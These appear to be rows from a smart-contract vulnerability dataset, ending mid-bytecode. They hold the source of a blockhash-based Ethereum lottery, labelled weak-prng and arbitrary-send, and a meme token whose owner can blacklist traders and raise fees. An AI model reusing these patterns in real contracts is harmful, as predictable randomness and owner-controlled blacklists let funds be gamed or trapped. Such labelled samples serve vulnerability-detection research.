var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount); // so it is displayed properly on EtherScan
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Slot Ticket
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract SlotTicket is StandardMintableToken {
string public name = "Slot Ticket";
uint8 public decimals = 0;
string public symbol = "TICKET";
string public version = "0.6";
function destroy() onlyOwner {
// Transfer Eth to owner and terminate contract
selfdestruct(owner);
}
}
/**
* @title Slot
* @dev every participant has an account index, the winners are picked from here
* all winners are picked in order from the single random int
* needs to be cleared after every game
*/
contract Slot is Ownable {
using SafeMath for uint256;
uint8 constant public SIZE = 100; // size of the lottery
uint32 constant public JACKPOT_CHANCE = 1000000; // one in a million
uint32 constant public INACTIVITY = 160000; // blocks after which refunds can be claimed
uint256 constant public PRICE = 100 finney;
uint256 constant public JACK_DIST = 249 finney;
uint256 constant public DIV_DIST = 249 finney;
uint256 constant public GAS_REFUND = 2 finney;
/*
* every participant has an account index, the winners are picked from here
* all winners are picked in order from the single random int
* needs to be cleared after every game
*/
mapping (uint => mapping (uint => address)) public participants; // game number => counter => address
SlotTicket public ticket; // this is a receipt for the ticket, it wont affect the prize distribution
uint256 public jackpotAmount;
uint256 public gameNumber;
uint256 public gameStartedAt;
address public fund; // address to send dividends
uint256[8] public prizes = [4 ether,
2 ether,
1 ether,
500 finney,
500 finney,
500 finney,
500 finney,
500 finney];
uint256 counter;
event ParticipantAdded(address indexed _participant, uint256 indexed _game, uint256 indexed _number);
event PrizeAwarded(uint256 indexed _game , address indexed _winner, uint256 indexed _amount);
event JackpotAwarded(uint256 indexed _game, address indexed _winner, uint256 indexed _amount);
event GameRefunded(uint256 _game);
function Slot(address _fundAddress) payable { // address _ticketAddress
// ticket = SlotTicket(_ticketAddress); // still need to change owner
ticket = new SlotTicket();
fund = _fundAddress;
jackpotAmount = msg.value;
gameNumber = 0;
counter = 0;
gameStartedAt = block.number;
}
function() payable {
// fallback function to buy tickets
buyTicketsFor(msg.sender);
}
function buyTicketsFor(address _beneficiary) public payable {
require(_beneficiary != 0x0);
require(msg.value >= PRICE);
// calculate number of tickets, issue tokens and add participant
// every (PRICE) buys a ticket, the rest is returned
uint256 change = msg.value%PRICE;
uint256 numberOfTickets = msg.value.sub(change).div(PRICE);
ticket.mint(_beneficiary, numberOfTickets);
addParticipant(_beneficiary, numberOfTickets);
// Return change to msg.sender
msg.sender.transfer(change);
}
/* private functions */
function addParticipant(address _participant, uint256 _numberOfTickets) private {
// if number of tickets exceeds the size of the game, tickets are added to next game
for (uint256 i = 0; i < _numberOfTickets; i++) {
// using gameNumber instead of counter/SIZE since games can be cancelled
participants[gameNumber][counter%SIZE] = _participant;
ParticipantAdded(_participant, gameNumber, counter%SIZE);
// msg.sender triggers the drawing of lots
if (++counter%SIZE == 0) {
awardPrizes();
// Split the rest, increase game number
distributeRemaining();
increaseGame();
}
// loop continues if there are more tickets
}
}
function awardPrizes() private {
// get the winning number, no need to hash, since it is a deterministical function anyway
uint256 winnerIndex = uint256(block.blockhash(block.number-1))%SIZE;
// get jackpot winner, hash result of last two digit number (index) with 4 preceding zeroes will win
uint256 jackpotNumber = uint256(block.blockhash(block.number-1))%JACKPOT_CHANCE;
if (winnerIndex == jackpotNumber) {
distributeJackpot(winnerIndex);
}
// loop throught the prizes
for (uint8 i = 0; i < prizes.length; i++) {
// GAS: 21000 Paid for every transaction. (prizes.length)
participants[gameNumber][winnerIndex%SIZE].transfer(prizes[i]); // msg.sender pays the gas, he's refunded later, % to wrap around
PrizeAwarded(gameNumber, participants[gameNumber][winnerIndex%SIZE], prizes[i]);
// increment index to the next winner to receive the next prize
winnerIndex++;
}
}
function distributeJackpot(uint256 _winnerIndex) private {
uint256 amount = jackpotAmount;
jackpotAmount = 0; // later on in the code sequence funds will be added
participants[gameNumber][_winnerIndex].transfer(amount);
JackpotAwarded(gameNumber, participants[gameNumber][_winnerIndex], amount);
}
function distributeRemaining() private {
// GAS: 21000 Paid for every transaction. (3)
jackpotAmount = jackpotAmount.add(JACK_DIST); // add to jackpot
fund.transfer(DIV_DIST); // *cash register sound* dividends are paid to SLOT token owners
msg.sender.transfer(GAS_REFUND); // repay gas to msg.sender
}
function increaseGame() private {
gameNumber++;
gameStartedAt = block.number;
}
// public functions
function spotsLeft() public constant returns (uint8 spots) {
return SIZE - uint8(counter%SIZE);
}
function refundGameAfterLongInactivity() public {
require(block.number.sub(gameStartedAt) >= INACTIVITY);
require(counter%SIZE != 0); // nothing to refund
// refunds for everybody can be requested after the game has gone (INACTIVITY) blocks without a conclusion
// Checks-Effects-Interactions pattern to avoid re-entrancy
uint256 _size = counter%SIZE; // not counter.size, but modulus of SIZE
counter -= _size;
for (uint8 i = 0; i < _size; i++) {
// GAS: default 21000 paid for every transaction.
participants[gameNumber][i].transfer(PRICE);
}
GameRefunded(gameNumber);
increaseGame();
}
function destroy() public onlyOwner {
require(jackpotAmount < 25 ether);
// Transfer Ether funds to owner and terminate contract
// It would be unfair to allow ourselves to destroy a contract with more than 25 ether and claim the jackpot,
// lower than that we would consider it still a beta (any Ether would be transfered to the newer contract)
ticket.destroy();
selfdestruct(owner);
}
function changeTicketOwner(address _newOwner) public onlyOwner {
// in case of new contract, old token can still be used
// the token contract owner is the slot contract itself
ticket.transferOwnership(_newOwner);
}
function changeFund(address _newFund) public onlyOwner {
fund = _newFund;
}
function changeTicket(address _newTicket) public onlyOwner {
ticket = SlotTicket(_newTicket); // still need to change owner to work
}
} | 0x | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,649 |
0xbe47e77091b338039596e780943185d27e5def48 | // Haruko Inu ($HAKO)
// Website: https://harukoinu.com/
// Telegram: https://t.me/harukoinutoken
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HarukoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Haruko Inu";
string private constant _symbol = "HAKO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _cooldownSeconds = 30;
uint256 private _launchTime;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool isEnabled) external onlyOwner() {
cooldownEnabled = isEnabled;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
if (block.timestamp < _launchTime + 5 minutes) {
require(cooldown[to] < block.timestamp);
require(amount <= _maxTxAmount);
cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "Liquidity already added");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_taxFee = 2;
_teamFee = 10;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function manualSwap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() {
require(cooldownSecs > 0, "Secs must be greater than 0");
_cooldownSeconds = cooldownSecs;
}
} | 0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063d543dbeb146103c0578063dd62ed3e146103e9578063ed99530714610426578063f42938901461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c57806351bc3c85146102475780635932ead11461025e5780636b999053146102875761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612b8e565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e9190613052565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612b52565b6105e1565b6040516101ab9190613037565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d69190613214565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612b03565b610610565b6040516102139190613037565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e9190613289565b60405180910390f35b34801561025357600080fd5b5061025c6106f2565b005b34801561026a57600080fd5b5061028560048036038101906102809190612bcf565b61076c565b005b34801561029357600080fd5b506102ae60048036038101906102a99190612a75565b61081e565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612a75565b61090e565b6040516102e49190613214565b60405180910390f35b3480156102f957600080fd5b5061030261095f565b005b34801561031057600080fd5b5061032b60048036038101906103269190612c21565b610ab2565b005b34801561033957600080fd5b50610342610b94565b60405161034f9190612f69565b60405180910390f35b34801561036457600080fd5b5061036d610bbd565b60405161037a9190613052565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612b52565b610bfa565b6040516103b79190613037565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190612c21565b610c18565b005b3480156103f557600080fd5b50610410600480360381019061040b9190612ac7565b610d61565b60405161041d9190613214565b60405180910390f35b34801561043257600080fd5b5061043b610de8565b005b34801561044957600080fd5b5061045261135b565b005b61045c6113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e090613174565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105989061352a565b9150506104ec565b5050565b60606040518060400160405280600a81526020017f486172756b6f20496e7500000000000000000000000000000000000000000000815250905090565b60006105f56105ee6113cd565b84846113d5565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d8484846115a0565b6106de846106296113cd565b6106d98560405180606001604052806028815260200161397660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d849092919063ffffffff16565b6113d5565b600190509392505050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107336113cd565b73ffffffffffffffffffffffffffffffffffffffff161461075357600080fd5b600061075e3061090e565b905061076981611de8565b50565b6107746113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f890613174565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6108266113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa90613174565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610958600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e2565b9050919050565b6109676113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb90613174565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aba6113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e90613174565b60405180910390fd5b60008111610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b81906130f4565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f48414b4f00000000000000000000000000000000000000000000000000000000815250905090565b6000610c0e610c076113cd565b84846115a0565b6001905092915050565b610c206113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca490613174565b60405180910390fd5b60008111610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613114565b60405180910390fd5b610d1f6064610d1183683635c9adc5dea0000061215090919063ffffffff16565b6121cb90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610d569190613214565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610df06113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7490613174565b60405180910390fd5b600f60149054906101000a900460ff1615610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490613134565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f5d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113d5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa357600080fd5b505afa158015610fb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdb9190612a9e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561103d57600080fd5b505afa158015611051573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110759190612a9e565b6040518363ffffffff1660e01b8152600401611092929190612f84565b602060405180830381600087803b1580156110ac57600080fd5b505af11580156110c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e49190612a9e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116d3061090e565b600080611178610b94565b426040518863ffffffff1660e01b815260040161119a96959493929190612fd6565b6060604051808303818588803b1580156111b357600080fd5b505af11580156111c7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111ec9190612c4a565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506002600881905550600a600981905550674563918244f400006010819055506001600f60146101000a81548160ff02191690831515021790555042601281905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611305929190612fad565b602060405180830381600087803b15801561131f57600080fd5b505af1158015611333573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113579190612bf8565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661139c6113cd565b73ffffffffffffffffffffffffffffffffffffffff16146113bc57600080fd5b60004790506113ca81612215565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c906131d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ac906130b4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115939190613214565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611610576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611607906131b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611680576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167790613074565b60405180910390fd5b600081116116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613194565b60405180910390fd5b6116cb610b94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117395750611709610b94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cc157600f60179054906101000a900460ff161561196c573073ffffffffffffffffffffff